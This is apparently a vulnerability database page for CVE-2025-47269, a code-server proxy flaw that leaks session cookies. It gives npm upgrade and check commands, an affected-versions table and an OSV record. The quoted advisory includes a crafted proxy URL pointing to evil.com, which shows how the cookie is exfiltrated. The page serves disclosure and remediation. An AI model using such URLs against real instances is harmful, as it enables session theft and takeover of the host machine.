CVE-2025-47269: Code server Code-server's Session Cookie Can Be Vulnerability
HIGHCVE-2025-47269 is a HIGH (CVSS 8.3) code-server's session cookie can be vulnerability (CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')) affecting Code server libraries in the npm ecosystem. The issue involves code-server's session cookie can be extracted by having user visit specially crafted proxy url. Remediation is available by upgrading affected packages to version 4.99.4.
CVE-2025-47269 at a Glance
Security Impact
CVSS: 8.3
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L).
How to Fix CVE-2025-47269
To remediate this vulnerability, upgrade all affected Code server dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install code-server@4.99.4
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls code-server
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-47269, inspect your project dependencies using npm:
npm ls code-server
Analyze the terminal output to locate any version of Code server in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.99.4), your application is affected.
Note: The npm ls code-server command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-441: Unintended Proxy or Intermediary ('Confused Deputy'), where the product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. this causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor. In Code server, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-47269 Affected Code server Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
code-server
|
npm |
< 4.99.4
|
4.99.4
|
References
Frequently Asked Questions
What is CVE-2025-47269?
Which Code server versions are affected?
What version fixes CVE-2025-47269?
Is code-server affected?
What is the CVSS score of CVE-2025-47269?
What CWE is associated with CVE-2025-47269?
How can I check npm dependencies for CVE-2025-47269?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-p483-wpfp-42cj",
"modified" : "2025-05-09T21:39:15Z",
"published" : "2025-05-09T19:34:35Z",
"aliases" : [ "CVE-2025-47269" ],
"summary" : "code-server's session cookie can be extracted by having user visit specially crafted proxy URL",
"details" : "### Summary\n\nA maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token.\n\n### Details\n\nFailure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token.\n\n### Impact\n\nAny user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`.\n\nNormally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies.\n\nWith access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server.\n\n### Patches\n\nPatched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "code-server"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "4.99.4"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/coder/code-server/security/advisories/GHSA-p483-wpfp-42cj"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-47269"
}, {
"type" : "WEB",
"url" : "https://github.com/coder/code-server/commit/47d6d3ada5aadef6d221f3d612401eb3dad9299e"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/coder/code-server"
}, {
"type" : "WEB",
"url" : "https://github.com/coder/code-server/releases/tag/v4.99.4"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-441" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-05-09T19:34:35Z",
"nvd_published_at" : "2025-05-09T21:15:51Z"
}
}